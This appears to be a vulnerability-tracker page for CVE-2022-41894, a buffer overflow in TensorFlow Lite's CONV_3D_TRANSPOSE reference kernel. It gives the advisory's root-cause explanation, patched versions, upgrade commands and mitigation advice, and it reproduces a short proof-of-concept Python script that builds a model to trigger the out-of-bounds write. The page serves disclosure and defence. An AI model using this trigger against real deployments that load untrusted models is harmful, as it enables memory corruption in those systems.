CVE-2022-41894 is a high-severity (CVSS 7.1) CWE-120 vulnerability in tensorflow. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for tensorflow — see the affected versions and patch details below.
Buffer overflow in `CONV_3D_TRANSPOSE` on TFLite
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2022-41894.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
tensorflow🐍tensorflow🐍tensorflowReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Impact
The reference kernel of the CONV_3D_TRANSPOSE TensorFlow Lite operator wrongly increments the data_ptr when adding the bias to the result.
Instead of data_ptr += num_channels; it should be data_ptr += output_num_channels; as if the number of input channels is different than the number of output channels, the wrong result will be returned and a buffer overflow will occur if num_channels > output_num_channels.
An attacker can craft a model with a specific number of input channels in a way similar to the attached example script. It is then possible to write specific values through the bias of the layer outside the bounds of the buffer. This attack only works if the reference kernel resolver is used in the interpreter (i.e. experimental_op_resolver_type=tf.lite.experimental.OpResolverType.BUILTIN_REF is used).
import tensorflow as tf
model = tf.keras.Sequential(
[
tf.keras.layers.InputLayer(input_shape=(2, 2, 2, 1024), batch_size=1),
tf.keras.layers.Conv3DTranspose(
filters=8,
kernel_size=(2, 2, 2),
padding="same",
data_format="channels_last",
),
]
)
converter = tf.lite.TFLiteConverter.from_keras_model(model)
tflite_model = converter.convert()
interpreter = tf.lite.Interpreter(
model_content=tflite_model,
experimental_op_resolver_type=tf.lite.experimental.OpResolverType.BUILTIN_REF,
)
interpreter.allocate_tensors()
interpreter.set_tensor(
interpreter.get_input_details()[0]["index"], tf.zeros(shape=[1, 2, 2, 2, 1024])
)
interpreter.invoke()
Patches
We have patched the issue in GitHub commit 72c0bdcb25305b0b36842d746cc61d72658d2941.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Thibaut Goetghebuer-Planchon, Arm Ltd.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | tensorflow | all versions | 2.8.4pip install --upgrade 'tensorflow==2.8.4' |
| 🐍PyPI | tensorflow | ≥ 2.9.0&&< 2.9.3 | 2.9.3pip install --upgrade 'tensorflow==2.9.3' |
| 🐍PyPI | tensorflow | ≥ 2.10.0&&< 2.10.1 | 2.10.1pip install --upgrade 'tensorflow==2.10.1' |
Affected Products
tensorflowgoogleResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tensorflow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update tensorflow to 2.8.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2022-41894 is resolved across your whole dependency graph.
Workarounds
Constrain what reaches the vulnerable code: limit the size and shape of untrusted input, isolate the affected component in a sandboxed or least-privileged process, and enable the platform's memory-safety mitigations (ASLR, stack protector, hardened allocator) so an out-of-bounds access is more likely to fail closed than to be exploitable.
Frequently Asked Questions
Is CVE-2022-41894 in your dependencies?
Find it across PyPI, including transitive dependencies.